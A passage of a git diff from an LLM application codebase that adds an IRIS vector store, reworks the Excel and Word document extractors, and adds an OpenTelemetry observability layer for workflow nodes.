+                logger.info("Creating HNSW index: %s", index_name)
+                cursor.execute(sql_index)
+                logger.info("HNSW index created successfully: %s", index_name)
+
+                # Create full-text search index if enabled
+                logger.info(
+                    "IRIS_TEXT_INDEX config value: %s (type: %s)",
+                    self.config.IRIS_TEXT_INDEX,
+                    type(self.config.IRIS_TEXT_INDEX),
+                )
+                if self.config.IRIS_TEXT_INDEX:
+                    text_index_name = f"idx_{self.table_name}_text"
+                    language = self.config.IRIS_TEXT_INDEX_LANGUAGE
+                    # Fixed: Removed extra parentheses and corrected syntax
+                    sql_text_index = f"""
+                        CREATE INDEX {text_index_name} ON {self.schema}.{self.table_name} (text)
+                        AS %iFind.Index.Basic
+                        (LANGUAGE = '{language}', LOWER = 1, INDEXOPTION = 0)
+                    """
+                    logger.info("Creating text index: %s with language: %s", text_index_name, language)
+                    logger.info("SQL for text index: %s", sql_text_index)
+                    cursor.execute(sql_text_index)
+                    logger.info("Text index created successfully: %s", text_index_name)
+                else:
+                    logger.warning("Text index creation skipped - IRIS_TEXT_INDEX is disabled")
+
+            redis_client.set(cache_key, 1, ex=3600)
+
+
+class IrisVectorFactory(AbstractVectorFactory):
+    """Factory for creating IrisVector instances."""
+
+    def init_vector(self, dataset: Dataset, attributes: list, embeddings: Embeddings) -> IrisVector:
+        if dataset.index_struct_dict:
+            class_prefix: str = dataset.index_struct_dict["vector_store"]["class_prefix"]
+            collection_name = class_prefix
+        else:
+            dataset_id = dataset.id
+            collection_name = Dataset.gen_collection_name_by_id(dataset_id)
+            index_struct_dict = self.gen_index_struct_dict(VectorType.IRIS, collection_name)
+            dataset.index_struct = json.dumps(index_struct_dict)
+
+        return IrisVector(
+            collection_name=collection_name,
+            config=IrisVectorConfig(
+                IRIS_HOST=dify_config.IRIS_HOST,
+                IRIS_SUPER_SERVER_PORT=dify_config.IRIS_SUPER_SERVER_PORT,
+                IRIS_USER=dify_config.IRIS_USER,
+                IRIS_PASSWORD=dify_config.IRIS_PASSWORD,
+                IRIS_DATABASE=dify_config.IRIS_DATABASE,
+                IRIS_SCHEMA=dify_config.IRIS_SCHEMA,
+                IRIS_CONNECTION_URL=dify_config.IRIS_CONNECTION_URL,
+                IRIS_MIN_CONNECTION=dify_config.IRIS_MIN_CONNECTION,
+                IRIS_MAX_CONNECTION=dify_config.IRIS_MAX_CONNECTION,
+                IRIS_TEXT_INDEX=dify_config.IRIS_TEXT_INDEX,
+                IRIS_TEXT_INDEX_LANGUAGE=dify_config.IRIS_TEXT_INDEX_LANGUAGE,
+            ),
+        )
diff --git a/api/core/rag/datasource/vdb/vector_factory.py b/api/core/rag/datasource/vdb/vector_factory.py
index 3a47241293..b9772b3c08 100644
--- a/api/core/rag/datasource/vdb/vector_factory.py
+++ b/api/core/rag/datasource/vdb/vector_factory.py
@@ -163,7 +163,7 @@ class Vector:
                 from core.rag.datasource.vdb.lindorm.lindorm_vector import LindormVectorStoreFactory
 
                 return LindormVectorStoreFactory
-            case VectorType.OCEANBASE:
+            case VectorType.OCEANBASE | VectorType.SEEKDB:
                 from core.rag.datasource.vdb.oceanbase.oceanbase_vector import OceanBaseVectorFactory
 
                 return OceanBaseVectorFactory
@@ -187,6 +187,10 @@ class Vector:
                 from core.rag.datasource.vdb.clickzetta.clickzetta_vector import ClickzettaVectorFactory
 
                 return ClickzettaVectorFactory
+            case VectorType.IRIS:
+                from core.rag.datasource.vdb.iris.iris_vector import IrisVectorFactory
+
+                return IrisVectorFactory
             case _:
                 raise ValueError(f"Vector store {vector_type} is not supported.")
 
diff --git a/api/core/rag/datasource/vdb/vector_type.py b/api/core/rag/datasource/vdb/vector_type.py
index bc7d93a2e0..bd99a31446 100644
--- a/api/core/rag/datasource/vdb/vector_type.py
+++ b/api/core/rag/datasource/vdb/vector_type.py
@@ -27,8 +27,10 @@ class VectorType(StrEnum):
     UPSTASH = "upstash"
     TIDB_ON_QDRANT = "tidb_on_qdrant"
     OCEANBASE = "oceanbase"
+    SEEKDB = "seekdb"
     OPENGAUSS = "opengauss"
     TABLESTORE = "tablestore"
     HUAWEI_CLOUD = "huawei_cloud"
     MATRIXONE = "matrixone"
     CLICKZETTA = "clickzetta"
+    IRIS = "iris"
diff --git a/api/core/rag/extractor/entity/extract_setting.py b/api/core/rag/extractor/entity/extract_setting.py
index c3bfbce98f..0c42034073 100644
--- a/api/core/rag/extractor/entity/extract_setting.py
+++ b/api/core/rag/extractor/entity/extract_setting.py
@@ -10,7 +10,7 @@ class NotionInfo(BaseModel):
     """
 
     credential_id: str | None = None
-    notion_workspace_id: str
+    notion_workspace_id: str | None = ""
     notion_obj_id: str
     notion_page_type: str
     document: Document | None = None
diff --git a/api/core/rag/extractor/excel_extractor.py b/api/core/rag/extractor/excel_extractor.py
index ea9c6bd73a..875bfd1439 100644
--- a/api/core/rag/extractor/excel_extractor.py
+++ b/api/core/rag/extractor/excel_extractor.py
@@ -1,7 +1,7 @@
 """Abstract interface for document loader implementations."""
 
 import os
-from typing import cast
+from typing import TypedDict
 
 import pandas as pd
 from openpyxl import load_workbook
@@ -10,6 +10,12 @@ from core.rag.extractor.extractor_base import BaseExtractor
 from core.rag.models.document import Document
 
 
+class Candidate(TypedDict):
+    idx: int
+    count: int
+    map: dict[int, str]
+
+
 class ExcelExtractor(BaseExtractor):
     """Load Excel files.
 
@@ -30,32 +36,38 @@ class ExcelExtractor(BaseExtractor):
         file_extension = os.path.splitext(self._file_path)[-1].lower()
 
         if file_extension == ".xlsx":
-            wb = load_workbook(self._file_path, data_only=True)
-            for sheet_name in wb.sheetnames:
-                sheet = wb[sheet_name]
-                data = sheet.values
-                cols = next(data, None)
-                if cols is None:
-                    continue
-                df = pd.DataFrame(data, columns=cols)
-
-                df.dropna(how="all", inplace=True)
-
-                for index, row in df.iterrows():
-                    page_content = []
-                    for col_index, (k, v) in enumerate(row.items()):
-                        if pd.notna(v):
-                            cell = sheet.cell(
-                                row=cast(int, index) + 2, column=col_index + 1
-                            )  # +2 to account for header and 1-based index
-                            if cell.hyperlink:
-                                value = f"[{v}]({cell.hyperlink.target})"
-                                page_content.append(f'"{k}":"{value}"')
-                            else:
-                                page_content.append(f'"{k}":"{v}"')
-                    documents.append(
-                        Document(page_content=";".join(page_content), metadata={"source": self._file_path})
-                    )
+            wb = load_workbook(self._file_path, read_only=True, data_only=True)
+            try:
+                for sheet_name in wb.sheetnames:
+                    sheet = wb[sheet_name]
+                    header_row_idx, column_map, max_col_idx = self._find_header_and_columns(sheet)
+                    if not column_map:
+                        continue
+                    start_row = header_row_idx + 1
+                    for row in sheet.iter_rows(min_row=start_row, max_col=max_col_idx, values_only=False):
+                        if all(cell.value is None for cell in row):
+                            continue
+                        page_content = []
+                        for col_idx, cell in enumerate(row):
+                            value = cell.value
+                            if col_idx in column_map:
+                                col_name = column_map[col_idx]
+                                if hasattr(cell, "hyperlink") and cell.hyperlink:
+                                    target = getattr(cell.hyperlink, "target", None)
+                                    if target:
+                                        value = f"[{value}]({target})"
+                                if value is None:
+                                    value = ""
+                                elif not isinstance(value, str):
+                                    value = str(value)
+                                value = value.strip().replace('"', '\\"')
+                                page_content.append(f'"{col_name}":"{value}"')
+                        if page_content:
+                            documents.append(
+                                Document(page_content=";".join(page_content), metadata={"source": self._file_path})
+                            )
+            finally:
+                wb.close()
 
         elif file_extension == ".xls":
             excel_file = pd.ExcelFile(self._file_path, engine="xlrd")
@@ -63,9 +75,9 @@ class ExcelExtractor(BaseExtractor):
                 df = excel_file.parse(sheet_name=excel_sheet_name)
                 df.dropna(how="all", inplace=True)
 
-                for _, row in df.iterrows():
+                for _, series_row in df.iterrows():
                     page_content = []
-                    for k, v in row.items():
+                    for k, v in series_row.items():
                         if pd.notna(v):
                             page_content.append(f'"{k}":"{v}"')
                     documents.append(
@@ -75,3 +87,61 @@ class ExcelExtractor(BaseExtractor):
             raise ValueError(f"Unsupported file extension: {file_extension}")
 
         return documents
+
+    def _find_header_and_columns(self, sheet, scan_rows=10) -> tuple[int, dict[int, str], int]:
+        """
+        Scan first N rows to find the most likely header row.
+        Returns:
+            header_row_idx: 1-based index of the header row
+            column_map: Dict mapping 0-based column index to column name
+            max_col_idx: 1-based index of the last valid column (for iter_rows boundary)
+        """
+        # Store potential candidates: (row_index, non_empty_count, column_map)
+        candidates: list[Candidate] = []
+
+        # Limit scan to avoid performance issues on huge files
+        # We iterate manually to control the read scope
+        for current_row_idx, row in enumerate(sheet.iter_rows(min_row=1, max_row=scan_rows, values_only=True), start=1):
+            # Filter out empty cells and build a temp map for this row
+            # col_idx is 0-based
+            row_map = {}
+            for col_idx, cell_value in enumerate(row):
+                if cell_value is not None and str(cell_value).strip():
+                    row_map[col_idx] = str(cell_value).strip().replace('"', '\\"')
+
+            if not row_map:
+                continue
+
+            non_empty_count = len(row_map)
+
+            # Header selection heuristic (implemented):
+            # - Prefer the first row with at least 2 non-empty columns.
+            # - Fallback: choose the row with the most non-empty columns
+            #   (tie-breaker: smaller row index).
+            candidates.append({"idx": current_row_idx, "count": non_empty_count, "map": row_map})
+
+        if not candidates:
+            return 0, {}, 0
+
+        # Choose the best candidate header row.
+
+        best_candidate: Candidate | None = None
+
+        # Strategy: prefer the first row with >= 2 non-empty columns; otherwise fallback.
+
+        for cand in candidates:
+            if cand["count"] >= 2:
+                best_candidate = cand
+                break
+
+        # Fallback: if no row has >= 2 columns, or all have 1, just take the one with max columns
+        if not best_candidate:
+            # Sort by count desc, then index asc
+            candidates.sort(key=lambda x: (-x["count"], x["idx"]))
+            best_candidate = candidates[0]
+
+        # Determine max_col_idx (1-based for openpyxl)
+        # It is the index of the last valid column in our map + 1
+        max_col_idx = max(best_candidate["map"].keys()) + 1
+
+        return best_candidate["idx"], best_candidate["map"], max_col_idx
diff --git a/api/core/rag/extractor/extract_processor.py b/api/core/rag/extractor/extract_processor.py
index 0f62f9c4b6..013c287248 100644
--- a/api/core/rag/extractor/extract_processor.py
+++ b/api/core/rag/extractor/extract_processor.py
@@ -166,7 +166,7 @@ class ExtractProcessor:
         elif extract_setting.datasource_type == DatasourceType.NOTION:
             assert extract_setting.notion_info is not None, "notion_info is required"
             extractor = NotionExtractor(
-                notion_workspace_id=extract_setting.notion_info.notion_workspace_id,
+                notion_workspace_id=extract_setting.notion_info.notion_workspace_id or "",
                 notion_obj_id=extract_setting.notion_info.notion_obj_id,
                 notion_page_type=extract_setting.notion_info.notion_page_type,
                 document_model=extract_setting.notion_info.document,
diff --git a/api/core/rag/extractor/helpers.py b/api/core/rag/extractor/helpers.py
index 5166c0c768..5b466b281c 100644
--- a/api/core/rag/extractor/helpers.py
+++ b/api/core/rag/extractor/helpers.py
@@ -45,6 +45,6 @@ def detect_file_encodings(file_path: str, timeout: int = 5, sample_size: int = 1
         except concurrent.futures.TimeoutError:
             raise TimeoutError(f"Timeout reached while detecting encoding for {file_path}")
 
-    if all(encoding["encoding"] is None for encoding in encodings):
+    if all(encoding.encoding is None for encoding in encodings):
         raise RuntimeError(f"Could not detect encoding for {file_path}")
-    return [FileEncoding(**enc) for enc in encodings if enc["encoding"] is not None]
+    return [enc for enc in encodings if enc.encoding is not None]
diff --git a/api/core/rag/extractor/word_extractor.py b/api/core/rag/extractor/word_extractor.py
index c7a5568866..044b118635 100644
--- a/api/core/rag/extractor/word_extractor.py
+++ b/api/core/rag/extractor/word_extractor.py
@@ -84,22 +84,45 @@ class WordExtractor(BaseExtractor):
         image_count = 0
         image_map = {}
 
-        for rel in doc.part.rels.values():
+        for r_id, rel in doc.part.rels.items():
             if "image" in rel.target_ref:
                 image_count += 1
                 if rel.is_external:
                     url = rel.target_ref
-                    response = ssrf_proxy.get(url)
+                    if not self._is_valid_url(url):
+                        continue
+                    try:
+                        response = ssrf_proxy.get(url)
+                    except Exception as e:
+                        logger.warning("Failed to download image from URL: %s: %s", url, str(e))
+                        continue
                     if response.status_code == 200:
-                        image_ext = mimetypes.guess_extension(response.headers["Content-Type"])
+                        image_ext = mimetypes.guess_extension(response.headers.get("Content-Type", ""))
                         if image_ext is None:
                             continue
                         file_uuid = str(uuid.uuid4())
-                        file_key = "image_files/" + self.tenant_id + "/" + file_uuid + "." + image_ext
+                        file_key = "image_files/" + self.tenant_id + "/" + file_uuid + image_ext
                         mime_type, _ = mimetypes.guess_type(file_key)
                         storage.save(file_key, response.content)
-                    else:
-                        continue
+                        # save file to db
+                        upload_file = UploadFile(
+                            tenant_id=self.tenant_id,
+                            storage_type=dify_config.STORAGE_TYPE,
+                            key=file_key,
+                            name=file_key,
+                            size=0,
+                            extension=str(image_ext),
+                            mime_type=mime_type or "",
+                            created_by=self.user_id,
+                            created_by_role=CreatorUserRole.ACCOUNT,
+                            created_at=naive_utc_now(),
+                            used=True,
+                            used_by=self.user_id,
+                            used_at=naive_utc_now(),
+                        )
+                        db.session.add(upload_file)
+                        # Use r_id as key for external images since target_part is undefined
+                        image_map[r_id] = f"![image]({dify_config.FILES_URL}/files/{upload_file.id}/file-preview)"
                 else:
                     image_ext = rel.target_ref.split(".")[-1]
                     if image_ext is None:
@@ -110,27 +133,28 @@ class WordExtractor(BaseExtractor):
                     mime_type, _ = mimetypes.guess_type(file_key)
 
                     storage.save(file_key, rel.target_part.blob)
-                # save file to db
-                upload_file = UploadFile(
-                    tenant_id=self.tenant_id,
-                    storage_type=dify_config.STORAGE_TYPE,
-                    key=file_key,
-                    name=file_key,
-                    size=0,
-                    extension=str(image_ext),
-                    mime_type=mime_type or "",
-                    created_by=self.user_id,
-                    created_by_role=CreatorUserRole.ACCOUNT,
-                    created_at=naive_utc_now(),
-                    used=True,
-                    used_by=self.user_id,
-                    used_at=naive_utc_now(),
-                )
-
-                db.session.add(upload_file)
-                db.session.commit()
-                image_map[rel.target_part] = f"![image]({dify_config.FILES_URL}/files/{upload_file.id}/file-preview)"
-
+                    # save file to db
+                    upload_file = UploadFile(
+                        tenant_id=self.tenant_id,
+                        storage_type=dify_config.STORAGE_TYPE,
+                        key=file_key,
+                        name=file_key,
+                        size=0,
+                        extension=str(image_ext),
+                        mime_type=mime_type or "",
+                        created_by=self.user_id,
+                        created_by_role=CreatorUserRole.ACCOUNT,
+                        created_at=naive_utc_now(),
+                        used=True,
+                        used_by=self.user_id,
+                        used_at=naive_utc_now(),
+                    )
+                    db.session.add(upload_file)
+                    # Use target_part as key for internal images
+                    image_map[rel.target_part] = (
+                        f"![image]({dify_config.FILES_URL}/files/{upload_file.id}/file-preview)"
+                    )
+        db.session.commit()
         return image_map
 
     def _table_to_markdown(self, table, image_map):
@@ -186,11 +210,17 @@ class WordExtractor(BaseExtractor):
                     image_id = blip.get("{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed")
                     if not image_id:
                         continue
-                    image_part = paragraph.part.rels[image_id].target_part
-
-                    if image_part in image_map:
-                        image_link = image_map[image_part]
-                        paragraph_content.append(image_link)
+                    rel = paragraph.part.rels.get(image_id)
+                    if rel is None:
+                        continue
+                    # For external images, use image_id as key; for internal, use target_part
+                    if rel.is_external:
+                        if image_id in image_map:
+                            paragraph_content.append(image_map[image_id])
+                    else:
+                        image_part = rel.target_part
+                        if image_part in image_map:
+                            paragraph_content.append(image_map[image_part])
             else:
                 paragraph_content.append(run.text)
         return "".join(paragraph_content).strip()
@@ -227,6 +257,18 @@ class WordExtractor(BaseExtractor):
 
         def parse_paragraph(paragraph):
             paragraph_content = []
+
+            def append_image_link(image_id, has_drawing):
+                """Helper to append image link from image_map based on relationship type."""
+                rel = doc.part.rels[image_id]
+                if rel.is_external:
+                    if image_id in image_map and not has_drawing:
+                        paragraph_content.append(image_map[image_id])
+                else:
+                    image_part = rel.target_part
+                    if image_part in image_map and not has_drawing:
+                        paragraph_content.append(image_map[image_part])
+
             for run in paragraph.runs:
                 if hasattr(run.element, "tag") and isinstance(run.element.tag, str) and run.element.tag.endswith("r"):
                     # Process drawing type images
@@ -243,10 +285,18 @@ class WordExtractor(BaseExtractor):
                                 "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}embed"
                             )
                             if embed_id:
-                                image_part = doc.part.related_parts.get(embed_id)
-                                if image_part in image_map:
-                                    has_drawing = True
-                                    paragraph_content.append(image_map[image_part])
+                                rel = doc.part.rels.get(embed_id)
+                                if rel is not None and rel.is_external:
+                                    # External image: use embed_id as key
+                                    if embed_id in image_map:
+                                        has_drawing = True
+                                        paragraph_content.append(image_map[embed_id])
+                                else:
+                                    # Internal image: use target_part as key
+                                    image_part = doc.part.related_parts.get(embed_id)
+                                    if image_part in image_map:
+                                        has_drawing = True
+                                        paragraph_content.append(image_map[image_part])
                     # Process pict type images
                     shape_elements = run.element.findall(
                         ".//{http://schemas.openxmlformats.org/wordprocessingml/2006/main}pict"
@@ -261,9 +311,7 @@ class WordExtractor(BaseExtractor):
                                 "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}id"
                             )
                             if image_id and image_id in doc.part.rels:
-                                image_part = doc.part.rels[image_id].target_part
-                                if image_part in image_map and not has_drawing:
-                                    paragraph_content.append(image_map[image_part])
+                                append_image_link(image_id, has_drawing)
                         # Find imagedata element in VML
                         image_data = shape.find(".//{urn:schemas-microsoft-com:vml}imagedata")
                         if image_data is not None:
@@ -271,9 +319,7 @@ class WordExtractor(BaseExtractor):
                                 "{http://schemas.openxmlformats.org/officeDocument/2006/relationships}id"
                             )
                             if image_id and image_id in doc.part.rels:
-                                image_part = doc.part.rels[image_id].target_part
-                                if image_part in image_map and not has_drawing:
-                                    paragraph_content.append(image_map[image_part])
+                                append_image_link(image_id, has_drawing)
                 if run.text.strip():
                     paragraph_content.append(run.text.strip())
             return "".join(paragraph_content) if paragraph_content else ""
diff --git a/api/core/rag/index_processor/constant/built_in_field.py b/api/core/rag/index_processor/constant/built_in_field.py
index 9ad69e7fe3..7c270a32d0 100644
--- a/api/core/rag/index_processor/constant/built_in_field.py
+++ b/api/core/rag/index_processor/constant/built_in_field.py
@@ -15,3 +15,4 @@ class MetadataDataSource(StrEnum):
     notion_import = "notion"
     local_file = "file_upload"
     online_document = "online_document"
+    online_drive = "online_drive"
diff --git a/api/core/rag/splitter/fixed_text_splitter.py b/api/core/rag/splitter/fixed_text_splitter.py
index 801d2a2a52..b65cb14d8e 100644
--- a/api/core/rag/splitter/fixed_text_splitter.py
+++ b/api/core/rag/splitter/fixed_text_splitter.py
@@ -2,6 +2,7 @@
 
 from __future__ import annotations
 
+import codecs
 import re
 from typing import Any
 
@@ -52,7 +53,7 @@ class FixedRecursiveCharacterTextSplitter(EnhanceRecursiveCharacterTextSplitter)
     def __init__(self, fixed_separator: str = "\n\n", separators: list[str] | None = None, **kwargs: Any):
         """Create a new TextSplitter."""
         super().__init__(**kwargs)
-        self._fixed_separator = fixed_separator
+        self._fixed_separator = codecs.decode(fixed_separator, "unicode_escape")
         self._separators = separators or ["\n\n", "\n", "。", ". ", " ", ""]
 
     def split_text(self, text: str) -> list[str]:
@@ -94,7 +95,8 @@ class FixedRecursiveCharacterTextSplitter(EnhanceRecursiveCharacterTextSplitter)
                 splits = re.split(r" +", text)
             else:
                 splits = text.split(separator)
-                splits = [item + separator if i < len(splits) else item for i, item in enumerate(splits)]
+                if self._keep_separator:
+                    splits = [s + separator for s in splits[:-1]] + splits[-1:]
         else:
             splits = list(text)
         if separator == "\n":
@@ -103,7 +105,7 @@ class FixedRecursiveCharacterTextSplitter(EnhanceRecursiveCharacterTextSplitter)
             splits = [s for s in splits if (s not in {"", "\n"})]
         _good_splits = []
         _good_splits_lengths = []  # cache the lengths of the splits
-        _separator = separator if self._keep_separator else ""
+        _separator = "" if self._keep_separator else separator
         s_lens = self._length_function(splits)
         if separator != "":
             for s, s_len in zip(splits, s_lens):
diff --git a/api/core/tools/errors.py b/api/core/tools/errors.py
index b0c2232857..e4afe24426 100644
--- a/api/core/tools/errors.py
+++ b/api/core/tools/errors.py
@@ -29,6 +29,10 @@ class ToolApiSchemaError(ValueError):
     pass
 
 
+class ToolSSRFError(ValueError):
+    pass
+
+
 class ToolCredentialPolicyViolationError(ValueError):
     pass
 
diff --git a/api/core/tools/utils/message_transformer.py b/api/core/tools/utils/message_transformer.py
index ca2aa39861..df322eda1c 100644
--- a/api/core/tools/utils/message_transformer.py
+++ b/api/core/tools/utils/message_transformer.py
@@ -101,6 +101,8 @@ class ToolFileMessageTransformer:
                 meta = message.meta or {}
 
                 mimetype = meta.get("mime_type", "application/octet-stream")
+                if not mimetype:
+                    mimetype = "application/octet-stream"
                 # get filename from meta
                 filename = meta.get("filename", None)
                 # if message is str, encode it to bytes
diff --git a/api/core/tools/utils/parser.py b/api/core/tools/utils/parser.py
index 6eabde3991..3486182192 100644
--- a/api/core/tools/utils/parser.py
+++ b/api/core/tools/utils/parser.py
@@ -425,7 +425,7 @@ class ApiBasedToolSchemaParser:
         except ToolApiSchemaError as e:
             openapi_error = e
 
-        # openai parse error, fallback to swagger
+        # openapi parse error, fallback to swagger
         try:
             converted_swagger = ApiBasedToolSchemaParser.parse_swagger_to_openapi(
                 loaded_content, extra_info=extra_info, warning=warning
@@ -436,7 +436,6 @@ class ApiBasedToolSchemaParser:
             ), schema_type
         except ToolApiSchemaError as e:
             swagger_error = e
-
         # swagger parse error, fallback to openai plugin
         try:
             openapi_plugin = ApiBasedToolSchemaParser.parse_openai_plugin_json_to_tool_bundle(
diff --git a/api/core/workflow/graph_engine/graph_engine.py b/api/core/workflow/graph_engine/graph_engine.py
index a4b2df2a8c..2e8b8f345f 100644
--- a/api/core/workflow/graph_engine/graph_engine.py
+++ b/api/core/workflow/graph_engine/graph_engine.py
@@ -140,6 +140,10 @@ class GraphEngine:
         pause_handler = PauseCommandHandler()
         self._command_processor.register_handler(PauseCommand, pause_handler)
 
+        # === Extensibility ===
+        # Layers allow plugins to extend engine functionality
+        self._layers: list[GraphEngineLayer] = []
+
         # === Worker Pool Setup ===
         # Capture Flask app context for worker threads
         flask_app: Flask | None = None
@@ -158,6 +162,7 @@ class GraphEngine:
             ready_queue=self._ready_queue,
             event_queue=self._event_queue,
             graph=self._graph,
+            layers=self._layers,
             flask_app=flask_app,
             context_vars=context_vars,
             min_workers=self._min_workers,
@@ -196,10 +201,6 @@ class GraphEngine:
             event_emitter=self._event_manager,
         )
 
-        # === Extensibility ===
-        # Layers allow plugins to extend engine functionality
-        self._layers: list[GraphEngineLayer] = []
-
         # === Validation ===
         # Ensure all nodes share the same GraphRuntimeState instance
         self._validate_graph_state_consistency()
diff --git a/api/core/workflow/graph_engine/layers/__init__.py b/api/core/workflow/graph_engine/layers/__init__.py
index 0a29a52993..772433e48c 100644
--- a/api/core/workflow/graph_engine/layers/__init__.py
+++ b/api/core/workflow/graph_engine/layers/__init__.py
@@ -8,9 +8,11 @@ with middleware-like components that can observe events and interact with execut
 from .base import GraphEngineLayer
 from .debug_logging import DebugLoggingLayer
 from .execution_limits import ExecutionLimitsLayer
+from .observability import ObservabilityLayer
 
 __all__ = [
     "DebugLoggingLayer",
     "ExecutionLimitsLayer",
     "GraphEngineLayer",
+    "ObservabilityLayer",
 ]
diff --git a/api/core/workflow/graph_engine/layers/base.py b/api/core/workflow/graph_engine/layers/base.py
index 24c12c2934..780f92a0f4 100644
--- a/api/core/workflow/graph_engine/layers/base.py
+++ b/api/core/workflow/graph_engine/layers/base.py
@@ -9,6 +9,7 @@ from abc import ABC, abstractmethod
 
 from core.workflow.graph_engine.protocols.command_channel import CommandChannel
 from core.workflow.graph_events import GraphEngineEvent
+from core.workflow.nodes.base.node import Node
 from core.workflow.runtime import ReadOnlyGraphRuntimeState
 
 
@@ -83,3 +84,29 @@ class GraphEngineLayer(ABC):
             error: The exception that caused execution to fail, or None if successful
         """
         pass
+
+    def on_node_run_start(self, node: Node) -> None:  # noqa: B027
+        """
+        Called immediately before a node begins execution.
+
+        Layers can override to inject behavior (e.g., start spans) prior to node execution.
+        The node's execution ID is available via `node._node_execution_id` and will be
+        consistent with all events emitted by this node execution.
+
+        Args:
+            node: The node instance about to be executed
+        """
+        pass
+
+    def on_node_run_end(self, node: Node, error: Exception | None) -> None:  # noqa: B027
+        """
+        Called after a node finishes execution.
+
+        The node's execution ID is available via `node._node_execution_id` and matches
+        the `id` field in all events emitted by this node execution.
+
+        Args:
+            node: The node instance that just finished execution
+            error: Exception instance if the node failed, otherwise None
+        """
+        pass
diff --git a/api/core/workflow/graph_engine/layers/node_parsers.py b/api/core/workflow/graph_engine/layers/node_parsers.py
new file mode 100644
index 0000000000..b6bac794df
--- /dev/null
+++ b/api/core/workflow/graph_engine/layers/node_parsers.py
@@ -0,0 +1,61 @@
+"""
+Node-level OpenTelemetry parser interfaces and defaults.
+"""
+
+import json
+from typing import Protocol
+
+from opentelemetry.trace import Span
+from opentelemetry.trace.status import Status, StatusCode
+
+from core.workflow.nodes.base.node import Node
+from core.workflow.nodes.tool.entities import ToolNodeData
+
+
+class NodeOTelParser(Protocol):
+    """Parser interface for node-specific OpenTelemetry enrichment."""
+
+    def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None: ...
+
+
+class DefaultNodeOTelParser:
+    """Fallback parser used when no node-specific parser is registered."""
+
+    def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None:
+        span.set_attribute("node.id", node.id)
+        if node.execution_id:
+            span.set_attribute("node.execution_id", node.execution_id)
+        if hasattr(node, "node_type") and node.node_type:
+            span.set_attribute("node.type", node.node_type.value)
+
+        if error:
+            span.record_exception(error)
+            span.set_status(Status(StatusCode.ERROR, str(error)))
+        else:
+            span.set_status(Status(StatusCode.OK))
+
+
+class ToolNodeOTelParser:
+    """Parser for tool nodes that captures tool-specific metadata."""
+
+    def __init__(self) -> None:
+        self._delegate = DefaultNodeOTelParser()
+
+    def parse(self, *, node: Node, span: "Span", error: Exception | None) -> None:
+        self._delegate.parse(node=node, span=span, error=error)
+
+        tool_data = getattr(node, "_node_data", None)
+        if not isinstance(tool_data, ToolNodeData):
+            return
+
+        span.set_attribute("tool.provider.id", tool_data.provider_id)
+        span.set_attribute("tool.provider.type", tool_data.provider_type.value)
+        span.set_attribute("tool.provider.name", tool_data.provider_name)
+        span.set_attribute("tool.name", tool_data.tool_name)
+        span.set_attribute("tool.label", tool_data.tool_label)
+        if tool_data.plugin_unique_identifier:
+            span.set_attribute("tool.plugin.id", tool_data.plugin_unique_identifier)
+        if tool_data.credential_id:
+            span.set_attribute("tool.credential.id", tool_data.credential_id)
+        if tool_data.tool_configurations:
+            span.set_attribute("tool.config", json.dumps(tool_data.tool_configurations, ensure_ascii=False))
diff --git a/api/core/workflow/graph_engine/layers/observability.py b/api/core/workflow/graph_engine/layers/observability.py
new file mode 100644
index 0000000000..a674816884
--- /dev/null
+++ b/api/core/workflow/graph_engine/layers/observability.py
@@ -0,0 +1,169 @@
+"""
+Observability layer for GraphEngine.
+
+This layer creates OpenTelemetry spans for node execution, enabling distributed
+tracing of workflow execution. It establishes OTel context during node execution
+so that automatic instrumentation (HTTP requests, DB queries, etc.) automatically
+associates with the node span.
+"""
+
+import logging
+from dataclasses import dataclass
+from typing import cast, final
+
+from opentelemetry import context as context_api
+from opentelemetry.trace import Span, SpanKind, Tracer, get_tracer, set_span_in_context
+from typing_extensions import override
+
+from configs import dify_config
+from core.workflow.enums import NodeType
+from core.workflow.graph_engine.layers.base import GraphEngineLayer
+from core.workflow.graph_engine.layers.node_parsers import (
+    DefaultNodeOTelParser,
+    NodeOTelParser,
+    ToolNodeOTelParser,
+)
+from core.workflow.nodes.base.node import Node
+from extensions.otel.runtime import is_instrument_flag_enabled
+
+logger = logging.getLogger(__name__)
+
+
+@dataclass(slots=True)
+class _NodeSpanContext:
+    span: "Span"
+    token: object
+
+
+@final
+class ObservabilityLayer(GraphEngineLayer):
+    """
+    Layer that creates OpenTelemetry spans for node execution.
+
+    This layer:
+    - Creates a span when a node starts execution
+    - Establishes OTel context so automatic instrumentation associates with the span
+    - Sets complete attributes and status when node execution ends
+    """
+
+    def __init__(self) -> None:
+        super().__init__()
+        self._node_contexts: dict[str, _NodeSpanContext] = {}
+        self._parsers: dict[NodeType, NodeOTelParser] = {}
+        self._default_parser: NodeOTelParser = cast(NodeOTelParser, DefaultNodeOTelParser())
+        self._is_disabled: bool = False
+        self._tracer: Tracer | None = None
+        self._build_parser_registry()
+        self._init_tracer()
+
+    def _init_tracer(self) -> None:
+        """Initialize OpenTelemetry tracer in constructor."""
+        if not (dify_config.ENABLE_OTEL or is_instrument_flag_enabled()):
+            self._is_disabled = True
+            return
+
+        try:
+            self._tracer = get_tracer(__name__)
+        except Exception as e:
+            logger.warning("Failed to get OpenTelemetry tracer: %s", e)
+            self._is_disabled = True
+
+    def _build_parser_registry(self) -> None:
+        """Initialize parser registry for node types."""
+        self._parsers = {
+            NodeType.TOOL: ToolNodeOTelParser(),
+        }
+
+    def _get_parser(self, node: Node) -> NodeOTelParser:
+        node_type = getattr(node, "node_type", None)
+        if isinstance(node_type, NodeType):
+            return self._parsers.get(node_type, self._default_parser)
+        return self._default_parser
+
+    @override
+    def on_graph_start(self) -> None:
+        """Called when graph execution starts."""
+        self._node_contexts.clear()
+
+    @override
+    def on_node_run_start(self, node: Node) -> None:
+        """
+        Called when a node starts execution.
+
+        Creates a span and establishes OTel context for automatic instrumentation.
+        """
+        if self._is_disabled:
+            return
+
+        try:
+            if not self._tracer:
+                return
+
+            execution_id = node.execution_id
+            if not execution_id:
+                return
+
+            parent_context = context_api.get_current()
+            span = self._tracer.start_span(
+                f"{node.title}",
+                kind=SpanKind.INTERNAL,
+                context=parent_context,
+            )
+
+            new_context = set_span_in_context(span)
+            token = context_api.attach(new_context)
+
+            self._node_contexts[execution_id] = _NodeSpanContext(span=span, token=token)
+
+        except Exception as e:
+            logger.warning("Failed to create OpenTelemetry span for node %s: %s", node.id, e)
+
